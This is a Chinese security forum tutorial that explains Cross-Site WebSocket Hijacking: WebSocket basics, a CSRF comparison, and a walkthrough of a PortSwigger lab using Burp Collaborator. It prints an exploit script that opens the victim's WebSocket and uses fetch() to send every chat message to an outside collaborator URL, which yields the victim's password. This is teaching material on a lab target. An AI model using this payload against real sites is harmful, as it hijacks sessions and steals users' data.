安全矩阵

 找回密码
 立即注册
搜索
查看: 1022|回复: 0

【表哥有话说 第81期】WebSocket劫持(CSWSH)

[复制链接]

252

主题

252

帖子

1307

积分

金牌会员

Rank: 6Rank: 6

积分
1307
发表于 2022-10-11 20:37:56 | 显示全部楼层 |阅读模式
原文链接:【表哥有话说 第81期】WebSocket劫持(CSWSH)


WebSocket劫持(CSWSH)
在了解WebSocket劫持之前,首先需要了解一下什么是WebSocket
WebSocket介绍
在传统的HTTP协议中,因为HTTP协议是一个请求-响应协议,他是不支持长连接的,请求必须先由浏览器发给服务器,服务器才能响应这个请求,所以有一个缺点,就是通信请求只能由客户端发起,服务器只能被动响应,这样如果需要多人聊天,联机游戏的话,就非常的麻烦,需要使用轮询,即浏览器定时发送请求进行询问,但这样就会造成很大的带宽浪费,也会给服务器造成压力
Web Socket是HTML5新增的协议,他与HTTP有一定的交集,但是却是一个新的协议,是一个持久化的协议,是一个基于TCP的应用层通信协议,它的目的是在浏览器和服务器之间建立一个不受限的双向通信的通道,建立无限制的全双工通信,在Web即时通信中,WebSocket可以提高网络吞吐量,减少延迟,减轻服务器负担
简单的举个例子,HTTP的生命周期通过Request来界定,也就是一个Request 一个Response,服务端返回一个响应后,这个HTTP请求事务就已经完成了。即使这个HTTP连接处于keep-alive的状态,它们之间的每一个工作(事务)依然是请求与响应,请求来了,响应回去了。这个事务就结束了。所以通常来说,HTTP协议是一个基于事务性的通信协议,请记住 Request = Response , 在HTTP中永远是这样,也就是说一个request只能有一个response,而且这个response也是被动的,不能主动发起
但是如果有一些需要即时通讯的需求的话,HTTP协议就会比较的麻烦,最典型的场景就是聊天室
而WebSocket呢,首先Websocket是基于HTTP协议的,或者说借用了HTTP的协议来完成一部分握手,建立连接后,会始终保持连接状态。客户端和服务端可以随时随地的通过一个已经建立的WebSocket互发消息,没有所谓事务性的特点,源于其双向全双工的通信特点,在一个WebSocket连接中,服务端是可以主动发送消息的哦,这一点已经完全区别于HTTP协议了
通常发送JSON格式的文本,较为容易处理
编辑
编辑
WebSocket协议
在建立连接时,需要利用HTTP协议进行连接建立
首先由浏览器发起请求
GET ws://localhost:3000/ws/chat HTTP/1.1 //请求的地址由ws://开头 Host: localhostUpgrade: websocket //表示即将要转换成WebSocket连接Connection: Upgrade //表示浏览器通知服务器即将升级连接Origin: http://localhost:3000 //供服务器验证是否许可Sec-WebSocket-Protocol: chat, superchatSec-WebSocket-Key: sN9cRrP/n9NdMgdcy2VJFQ== //用于标识这个连接Sec-WebSocket-Version: 13
然后由浏览器进行回应,表示已成功建立连接
HTTP/1.1 101 Switching Protocols //101表示本次HTTP协议即将被更改Upgrade: websocketConnection: UpgradeSec-WebSocket-Protocol: chatSec-WebSocket-Accept: fFBooB7FAkLlXgRSz0BT3v4hq5s=
需要网络连接保持打开状态,可用于在任一方向上发送WebSocket消息。
ws.send("Peter Wiener"); //客户端发送消息{"user":"Hal Pline","content":"I wanted to be a Playstation growing up, not a device to answer your inane questions"} //通常JSON格式回复信息
同时需要client-side JavaScript 用于定义链接
var ws = new WebSocket("wss://normal-website.com/chat");
CSRF
WebSocket劫持其实极其类似于CSRF(Cross-site request forgery),举个例子说一下什么是CSRF
  •         • 假设用户登录到他的网上银行 www.mybank.com
  •         • 用户从中进行汇款,mybank.com规定进行以GET的方式进行请求发送www.mybank.com/transfer?to=<SomeAccountnumber>;amount=<SomeAmount>to为要汇款的账号,amount为转账金额
  •         • 用户访问www.cute-cat-pictures.org,却不知道这是一个恶意网站
  •         • 如果该站点的所有者知道上述请求的形式,并且正确地猜测您已登录mybank.com,则他们可以在其页面上添加一个请求,并以img或其他标签包裹,例如<img>www.mybank.com/transfer?to=123456;amount=10000</img>
  •         • 当用户访问 www.cute-cat-pictures.org页面,那么你的浏览器会发出以上的请求
  •         • 银行无法识别请求的来源:你的网络浏览器将发送请求以及你的www.mybank.com上的cookie,并且看起来完全合法

CSRF Token为了最大程度的防止这种攻击的产生,CSRF采用了Token进行验证,所有的用户请求都携带一个CSRF攻击者无法获取到的Token。服务器通过校验请求是否携带正确的Token,来把正常的请求和攻击的请求区分开,进行防范
这个Token当然不能再存在cookie里,不然容易再次被黑客利用,一般是存在服务器端的session中,本地以cookie的形式保存sessionid,在用户访问该网站的时候,通过sessionid获取token,然后写到本地
WebSocket劫持的影响
伪装成受害者用户执行未经授权的操作:与 CSRF 一样,攻击者可以向服务器端应用程序发送任意消息。如果应用程序使用客户端生成的 WebSocket 消息来执行任何敏感操作,则攻击者可以跨域生成合适的消息并触发这些操作,比如在线炒股、在线交易之类的操作
检索用户可以访问的敏感数据:与 CSRF 不同,跨站点 WebSocket 劫持使攻击者可以通过被劫持的 WebSocket 与易受攻击的应用程序进行双向交互。如果应用程序使用服务器生成的 WebSocket 消息向用户返回任何敏感数据,则攻击者可以拦截这些消息并捕获受害用户的数据
一个实例
这边使用Burp的一个官方靶场进行演示,该靶场有使用WebSocket协议实现的在线实时聊天功能
靶场地址:https://portswigger.net/web-secu ... ocket-hijacking/lab


Burp Collaborator Client
简单介绍一下Burp Collaborator Client,可以将他简单理解为是Burp给我们提供的一个外部服务器,在进行盲注跨站、盲打xss的时候,如果服务器不回显详细信息,就无法准确判断是否存在漏洞,解决办法就是需要一个独立的外部服务器,在插入恶意脚本的时候带上这个服务器的地址,如果存在漏洞的话,就回去访问我们的外部服务器,进而记录各种信息,有利于我们判读漏洞的存在,有点类似于DNS外带回显的意思,而Burp 给我们提供了这个外部服务器,叫 Collaborator
正常情况的交互如下图,提交payload后,服务器响应response信息,中间没有其他服务器的参与,一般叫做带内攻击
编辑
而在加入了外部服务器后,payload的发送过程是一样的,在回显的时候会经过外部服务器
编辑
下面这个图可以大体的代表 collaborator 的大体工作流程,首先 burp 发送 payload 给目标程序,以下图为例,其 payload 为外部的服务器 url 地址,随后目标程序若进行解析或则调用等,则会去访问这个地址,而这个地址是我们的 collaborator 服务器,所以 collaborator 会记录其访问的请求信息以及响应信息和 dns 的信息。而当 burp 发送 payload 后,就会不断的去问 collaborator 服务器,你收到我发送的 payload 交互了么,这时 collaborator 就会将交互信息告诉 burp,burp 最后进行报告
编辑
先进入burp的靶场,看一下/chat的报文,没有CSRF令牌
编辑
然后打开burp的工具
编辑
然后在burp的exploit server中填写相关信息,创建一个包含ws攻击的网页
burp官方给的一个exp
<script>  var ws = new WebSocket('wss://your-websocket-url');  ws.onopen = function() {    ws.send("READY");  };  ws.onmessage = function(event) {    fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});  };</script>
编辑
然后在burp的工具中获取外带服务器收到的信息,即可获取其密码


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 15:56 , Processed in 0.013848 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表